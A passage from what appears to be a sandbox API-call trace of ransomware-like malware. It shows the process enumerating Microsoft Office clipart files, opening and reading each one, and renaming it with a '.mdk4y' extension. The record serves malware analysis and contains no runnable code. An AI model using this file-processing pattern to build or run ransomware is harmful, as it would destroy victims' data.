lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.198] AreFileApisANSI () returned 1 [0162.198] GetACP () returned 0x4e4 [0162.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212601.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212601.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.199] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823742900000) returned 1 [0162.199] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25cc, lpOverlapped=0x0) returned 1 [0162.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823752200000) returned 1 [0162.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823752300000) returned 1 [0162.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.mdk4y")) returned 1 [0162.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.295] AreFileApisANSI () returned 1 [0162.295] GetACP () returned 0x4e4 [0162.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212685.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212685.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.295] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823752600000) returned 1 [0162.296] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x199a, lpOverlapped=0x0) returned 1 [0162.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823754900000) returned 1 [0162.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823754900000) returned 1 [0162.320] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.mdk4y")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.321] AreFileApisANSI () returned 1 [0162.321] GetACP () returned 0x4e4 [0162.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212751.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212751.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823755200000) returned 1 [0162.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x80c, lpOverlapped=0x0) returned 1 [0162.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823762900000) returned 1 [0162.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823762900000) returned 1 [0162.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.mdk4y")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.401] AreFileApisANSI () returned 1 [0162.401] GetACP () returned 0x4e4 [0162.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212953.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212953.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823763100000) returned 1 [0162.402] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d4a, lpOverlapped=0x0) returned 1 [0162.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823792300000) returned 1 [0162.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823792300000) returned 1 [0162.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.mdk4y")) returned 1 [0162.695] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.695] AreFileApisANSI () returned 1 [0162.695] GetACP () returned 0x4e4 [0162.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0213243.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0213243.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823792600000) returned 1 [0162.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa5c, lpOverlapped=0x0) returned 1 [0162.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823806800000) returned 1 [0162.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823806800000) returned 1 [0162.839] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.mdk4y")) returned 1 [0162.840] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.840] AreFileApisANSI () returned 1 [0162.840] GetACP () returned 0x4e4 [0162.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0213449.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0213449.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823807100000) returned 1 [0162.841] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf00, lpOverlapped=0x0) returned 1 [0162.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823819900000) returned 1 [0162.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823819900000) returned 1 [0162.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.mdk4y")) returned 1 [0162.970] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0162.970] AreFileApisANSI () returned 1 [0162.970] GetACP () returned 0x4e4 [0162.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0214934.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0214934.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0162.970] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0162.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823820100000) returned 1 [0162.971] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7cb6, lpOverlapped=0x0) returned 1 [0163.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823825800000) returned 1 [0163.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823825800000) returned 1 [0163.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.mdk4y")) returned 1 [0163.030] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.030] AreFileApisANSI () returned 1 [0163.030] GetACP () returned 0x4e4 [0163.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0214948.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0214948.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823826400000) returned 1 [0163.034] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaefa, lpOverlapped=0x0) returned 1 [0163.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823827300000) returned 1 [0163.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823827300000) returned 1 [0163.044] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.mdk4y")) returned 1 [0163.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.045] AreFileApisANSI () returned 1 [0163.045] GetACP () returned 0x4e4 [0163.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215070.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215070.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823827700000) returned 1 [0163.047] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d6c, lpOverlapped=0x0) returned 1 [0163.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823829700000) returned 1 [0163.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823829700000) returned 1 [0163.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.mdk4y")) returned 1 [0163.069] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.069] AreFileApisANSI () returned 1 [0163.069] GetACP () returned 0x4e4 [0163.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215076.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215076.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.069] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823830000000) returned 1 [0163.070] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f50, lpOverlapped=0x0) returned 1 [0163.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823830800000) returned 1 [0163.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823830800000) returned 1 [0163.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.mdk4y")) returned 1 [0163.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.080] AreFileApisANSI () returned 1 [0163.080] GetACP () returned 0x4e4 [0163.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215210.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215210.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823831100000) returned 1 [0163.081] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x81ce, lpOverlapped=0x0) returned 1 [0163.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823833900000) returned 1 [0163.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823833900000) returned 1 [0163.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.mdk4y")) returned 1 [0163.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.399] AreFileApisANSI () returned 1 [0163.399] GetACP () returned 0x4e4 [0163.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215709.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215709.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.400] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823863100000) returned 1 [0163.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x244a, lpOverlapped=0x0) returned 1 [0163.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823868300000) returned 1 [0163.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823868300000) returned 1 [0163.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.mdk4y")) returned 1 [0163.455] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.455] AreFileApisANSI () returned 1 [0163.455] GetACP () returned 0x4e4 [0163.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215710.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215710.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.455] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823868600000) returned 1 [0163.456] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45a2, lpOverlapped=0x0) returned 1 [0163.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823869700000) returned 1 [0163.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823869700000) returned 1 [0163.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.mdk4y")) returned 1 [0163.469] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.469] AreFileApisANSI () returned 1 [0163.469] GetACP () returned 0x4e4 [0163.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215718.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215718.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823870000000) returned 1 [0163.470] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15f2, lpOverlapped=0x0) returned 1 [0163.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823872300000) returned 1 [0163.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823872300000) returned 1 [0163.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.mdk4y")) returned 1 [0163.495] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.495] AreFileApisANSI () returned 1 [0163.495] GetACP () returned 0x4e4 [0163.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216112.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216112.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0163.495] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 